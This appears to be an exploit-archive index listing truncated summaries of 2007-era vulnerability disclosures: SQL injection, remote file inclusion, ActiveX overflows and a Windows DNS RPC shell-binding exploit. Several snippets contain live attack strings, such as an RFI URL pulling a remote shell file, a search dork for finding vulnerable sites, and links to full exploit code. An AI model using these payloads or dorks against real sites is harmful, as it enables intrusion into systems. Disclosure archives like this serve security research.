CVE-2007-2733

CVE-2007-2733 is an unrestricted file upload vulnerability in Jetbox CMS, where remote authenticated users with author privileges can upload arbitrary scripts (e.g., PHP) via the IMAGES/webfiles mechanism and execute code. Public details indicate Jetbox One 2.0.8 and other versions are affected, ...

fipsCMS-sql.txt

fipsCMS v2.1 Remote SQL injection Vulnerability // AYYILDIZ.ORG Gururla Sunar ... Script: fipsCMS v2.1 Download: http://fipsasp.com/subs/login/Download.asp?ID=60&CatID=5&AccLvl=0 Author: iLker Kandemir ThanKs: h0tturk,Ekin0x,Gencnesil,Gencturk,Ajann Exploit:...

eastwind-overflow.txt

2007/05/05 -------------------------------------------------------------------------------------- East Wind Software advdaudio.ocx v. 1.5.1.1 'OpenDVD' method Local Buffer Overflow url: http://www.ewcad.com/ price: $249 author: shinnai mail: shinnaiatautisticidotorg site:...

phpHoo3 (admin.php) Remote Login Bypass SQL Injection Vulnerability

phpHoo3 Login SQL injection // AYYILDIZ.ORG Gururla Sunar... download:http://cable-modems.org/phpHoo/files/phphoo3.zip author : iLker Kandemir ilkerkandemir at mynet.com Risk : High Class : Remote Vuln. Script : phpHoo3 tnx : h0tturk,ekin0x,Gencnesil,Gencturk,koray,Ajann .. Vulnerable; ///admin.p...

pfacms-rfi.txt

pfa CMS v6.0 // AYYILDIZ.ORG Gururla Sunar ! = OZELHAREKAT Author: iLker Kandemir ScriptSite: http://pfa.netsliver.com/downloadpfa Tnx: H0tturk,Ekin0x,Dumenci,Gencnesil,Gencturk,Str0ke Exploit: http://site/pfapath/index.php?repinc=http://shell.txt?...

Sienzo Digital Music Mentor - 'DSKernel2.dll' ActiveX Control Stack Buffer Overflow

source: https://www.securityfocus.com/bid/23838/info Sienzo Digital Music Mentor is prone to multiple stack-based buffer-overflow vulnerabilities because the software fails to adequately check boundaries on data supplied to multiple ActiveX control methods. An attacker can exploit this issue to...

psipuss-pass.txt

?php / '/ -.- --------------------oOO------OOo------------------- | Y! Underground Group | | www.dj7xpl.2600.ir | | Dj7xpl @ 2600.ir | ------------------------------------------------------ ! Portal : psipuss version 1.0 ! Vendor : http://www.psi-labs.com/photosimagesuploadscript.html ! Author :...

PowerPoint Viewer OCX 3.2 - ActiveX Control Denial of Service

PowerPoint Viewer OCX 3.2 - ActiveX Control Denial of Service 2007/05/01 ----------------------------------------------------------------------------- PowerPointViewer.ocx v. 3.1.0.3 multiple methods Denial of Service url: http://www.officeocx.com/ price: from €63.95 update to last version to...

Maran PHP Forum (forum_write.php) Remote Code Execution Vulnerability

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + + + Y! Underground Group + + + -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-...

TJSChat Version 0.95 Cross Site Scripting

""""""""""""""""""""""""""""""""""""""""""""""" """ :: :: ::::: :::: """ """ :: :: :: : :: """ """ :::: :: :: ::::: ::::: :::: """ """ :: :: ::: ::: :: :: :: :: :: """ """ :: :: :: : : ::::: :: :: :::: """ """ """ """"""""""""""""""""""""""""""""""""""""""""""" Xmor$ Security Vulnerability Resear...

fsbchat09-rfi.txt

AuThor:Silitoad emA!l:SilitoadathotmaildotCom HoMePaGe:http://www.Arabian-FighterZ.com Powered By Silitoad From Arabian-Fighterz Info Website: http://www.zoneur.com Version: 0.9 Download: http://pub.zoneur.com/script/php/fsb/fsbchat/fsbchat-0.9.rar Problem: Include file bug: includeonce $racine...

AimStats 3.2 (process.php update) Remote Code Execution Exploit

No description provided by source. !-- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + + + Y! Underground Group + +&n...

mswin-dns-meta.txt

!/usr/bin/python Remote exploit for the 0day Windows DNS RPC service vulnerability as described in http://www.securityfocus.com/bid/23470/info. Tested on Windows 2000 SP4. The exploit if successful binds a shell to TCP port 4444 and then connects to it. Cheers to metasploit for the first exploit...

my little forum 1.7 Remote File Include Vulnerabilitiy

""""""""""""""""""""""""""""""""""""""""""""""" """ :: :: ::::: :::: """ """ :: :: :: : :: """ """ :::: :: :: ::::: ::::: :::: """ """ :: :: ::: ::: :: :: :: :: :: """ """ :: :: :: : : ::::: :: :: :::: """ """ """ """"""""""""""""""""""""""""""""""""""""""""""" Xmor$ Security Vulnerability Resear...

[Full-disclosure] Microsoft DNS Server Remote Code execution Exploit and analysis

Hi, im sending you the headers of the new exploit code for microsoft DNS servers. You can download the full source code exploit and analysis at: - http://www.514.es/MicrosoftDnsServerExploit.zip or - http://www.48bits.com/exploits/dnsxpl.rar Microsoft DNS Server Remote Code execution Exploit and...

MS Windows DNS RPC Remote Buffer Overflow Exploit (win2k SP4)

Exploit for unknown platform in category remote exploits ============================================================= MS Windows DNS RPC Remote Buffer Overflow Exploit win2k SP4 ============================================================= !/usr/bin/python Remote exploit for the 0day Windows DNS...

PcP-Guestbook 3.0 (lang) Local File Inclusion Vulnerabilities

.-""""""""-. / Dj7xpl | | |, .-. .-. ,| | o/ o | |/ / | @ ^^ |IIIIII|/ @8@8|-IIIIII/-| / / @ +Iranian Are The Best In World+ Portal.......: PcP-Book 3.0 Site.........: http://www.pcp-system.at Down.........: http://www.ectona.org/download/?id=621&amp...

PHP121 Instant Messenger 2.2 Local File Inclusion Vulnerability

No description provided by source. +========================I=R=A=N============================+ PHP121 Version 2.2 =========================I=R=A=N============================= +========================I=R=A=N============================+ Author : Dj7xpl / Dj7xplatYahoodotcom &nbs...

Weatimages 1.7.1 - ini[langpack] Remote File Inclusion

RFI Weatimages Hack Script name : Weatimages Script Download Adress:http://www.hotscripts.com/jump.php?listingid=52592&jumptype=1 Demo site:http://www.nazarkin.name/projects/weatimages/demo/index.php?inilangpack=shelladress Google Dork : inurl: index.php?inilangpack= Author:Co-Sarper-Der...

xoopsvirii-rfi.txt

Xoops Module Virii Info //'=============================================================================================== //'Script Name: Xoops Module Virii Info //'.... //'.. //'ERROR--------------------------------------------------------- // ajann,Turkey // ... //Basic exploit,but any time :...